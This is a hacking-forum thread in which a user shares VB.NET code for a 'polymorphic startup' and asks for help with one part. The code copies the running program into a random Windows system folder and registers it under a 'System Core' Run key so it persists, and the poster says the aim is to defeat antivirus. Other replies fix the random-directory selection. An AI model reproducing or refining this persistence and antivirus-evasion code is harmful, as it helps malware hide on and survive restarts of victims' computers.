Login Register






Thread Rating:
  • 0 Vote(s) - 0 Average


Polymorph startup/Need help with one part filter_list
Author
Message
Polymorph startup/Need help with one part #1
Hey all!!!

Well, I made this polymorphic startup in VB.NET, sadly, its compatibile only with framework 3.0++

So... I'd need a little help:

Full code:
Code:
Try
            Dim URL As String = String.Empty
            Dim rnd As New Random()
            Dim dirCount As Integer = rnd.Next(100)
            Dim appname As String = Path.GetFileName(Application.ExecutablePath)
            Dim dirPath As String = "C:\WINDOWS"
            Dim dirs = From folder In _
            Directory.EnumerateDirectories(dirPath)
            Dim getDirs As List(Of String) = New List(Of String)(dirs)
            If Not dirCount > getDirs.Count Then
                TextBox2.Text = getDirs(dirCount)
            End If
            If System.IO.File.Exists(TextBox2.Text & TextBox2.Text + ".exe") = False Then
                System.IO.File.Copy(System.Reflection.Assembly. _
                      GetExecutingAssembly.Location, TextBox2.Text & TextBox2.Text + ".exe")
            End If
            Dim regKey As RegistryKey
            regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
            regKey.SetValue("System Core", TextBox2.Text & TextBox2.Text + ".exe")
            regKey.Close()

        Catch ex As Exception

        End Try

I have problem with:
Code:
Directory.EnumerateDirectories(dirPath)
            Dim getDirs As List(Of String) = New List(Of String)(dirs)

Thanks alot!!! Smile


Credits: To the unknown guy for the random dirrectory search. Everything else is by me Smile

PS: yes, the endless regs will make it look suspicious, but... if you make it in a timer, it will recover Smile also, the av will get phucked Biggrin
Staff will never ever ask you for your personal information.
We know everything about you anyway.

Reply

RE: Polymorph startup/Need help with one part #2
You can get a Random Directory either by:

Code:
Dim rnd As New Random()
            Dim dirPath As String = Environ("windir")

            Dim TheDirs() As String = IO.Directory.GetDirectories(dirPath)
            Dim randomDirIndex As Integer = rnd.Next(UBound(TheDirs))
            Dim getDirs As New List(Of String)
            getDirs.AddRange(IO.Directory.GetDirectories(dirPath))
            MsgBox(getDirs(randomDirIndex))

Or by using the old DirectoryListBox (Add from .NET framework components)

Code:
Dim rnd As New Random()

            Dim appname As String = IO.Path.GetFileName(Application.ExecutablePath)
            dList.Path = Environ("windir") 'dList is the DirectoryListBox            
            Dim randomDirIndex As Integer = rnd.Next(dList.DirListCount)
            MsgBox(dList.DirList(randomDirIndex))

Both will work with .NET 2.0
[Image: rytwG00.png]
Redcat Revolution!

Reply

RE: Polymorph startup/Need help with one part #3
and yet... i don't understand a word from the codes above :rip:
Pierce the life fibers with your drill.

Reply

RE: Polymorph startup/Need help with one part #4
(01-18-2011, 02:42 PM)Coder-san Wrote: You can get a Random Directory either by:

Code:
Dim rnd As New Random()
            Dim dirPath As String = Environ("windir")

            Dim TheDirs() As String = IO.Directory.GetDirectories(dirPath)
            Dim randomDirIndex As Integer = rnd.Next(UBound(TheDirs))
            Dim getDirs As New List(Of String)
            getDirs.AddRange(IO.Directory.GetDirectories(dirPath))
            MsgBox(getDirs(randomDirIndex))

Or by using the old DirectoryListBox (Add from .NET framework components)

Code:
Dim rnd As New Random()

            Dim appname As String = IO.Path.GetFileName(Application.ExecutablePath)
            dList.Path = Environ("windir") 'dList is the DirectoryListBox            
            Dim randomDirIndex As Integer = rnd.Next(dList.DirListCount)
            MsgBox(dList.DirList(randomDirIndex))

Both will work with .NET 2.0

Awesome Smile thanks!!!
just a question, if I wanted to scan all folders in C I would do:
Code:
Dim dirPath As String = Environ("C:\")
right?

Also, if I understood the code right, it lists just first dirrectories, how would you list even all subs? Smile

Thanks alot!!!!
Staff will never ever ask you for your personal information.
We know everything about you anyway.

Reply

RE: Polymorph startup/Need help with one part #5
(01-18-2011, 03:57 PM)1llusion Wrote: Awesome Smile thanks!!!
just a question, if I wanted to scan all folders in C I would do:
Code:
Dim dirPath As String = Environ("C:\")
right?

You have a good logic, but Environment variables don't work that way. There are about 33-34 of them in Windows OS by default, and additional ones are provided by .NET framework.

Using this code you can list all Environment Variables in an OS
Code:
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim strings As String = String.Empty, i As Integer
        For i = 1 To 40
            strings &= i & vbTab & Environ(i) & vbCrLf
        Next
        IO.File.WriteAllText("C:\new.txt", strings)
    End Sub


If you wanted to scan only directories in System partition then you can do
Code:
Dim dirPath As String = Environ("SystemDrive")

Quote:Also, if I understood the code right, it lists just first dirrectories, how would you list even all subs? Smile

Thanks alot!!!!

Check this out: [VB.Net] Making a cool File/Directory Search



(01-18-2011, 03:17 PM)1234hotmaster Wrote: and yet... i don't understand a word from the codes above :rip:

On second look it can be shortened to this
Quote: Dim dirPath As String = Environ("windir") 'To get the Windows OS Directory in a machine, if yours is default then it would get C:\windows
Dim getDirs As New List(Of String) 'Creating our List of String

getDirs.AddRange(IO.Directory.GetDirectories(dirPath)) 'Adding whole range of directories inside the dirPath inside the List
Dim randomDirIndex As Integer = rnd.Next(getDirs.Count) 'Getting our Random integer upto the Count of Items in the getDirs list
MsgBox(getDirs(randomDirIndex)) 'Get a random item of the List getDirs
[Image: rytwG00.png]
Redcat Revolution!

Reply

RE: Polymorph startup/Need help with one part #6
Awesome!!! Thanks alot!!! Smile
Staff will never ever ask you for your personal information.
We know everything about you anyway.

Reply

RE: Polymorph startup/Need help with one part #7
tnx alot now i got what you 2 meant XD

btw how many enivron's are there and how many you know? o-o
Pierce the life fibers with your drill.

Reply

RE: Polymorph startup/Need help with one part #8
It was quite helpful in VB6, but now .NET provides that info and a lot more, easily. The way to find out all of them is in that post too.
[Image: rytwG00.png]
Redcat Revolution!

Reply

RE: Polymorph startup/Need help with one part #9
oh ok tnx...

seems VB6 was more complete then VB8 or VB10 Biggrin
Pierce the life fibers with your drill.

Reply

RE: Polymorph startup/Need help with one part #10
It's the opposite actually, .NET provides more than everything you need to make some basic tool without using APIs, even more than 3-4 ways most of the times.
In VB6 you have to use an API to even get the Visual style to work.
[Image: rytwG00.png]
Redcat Revolution!

Reply







Users browsing this thread: 1 Guest(s)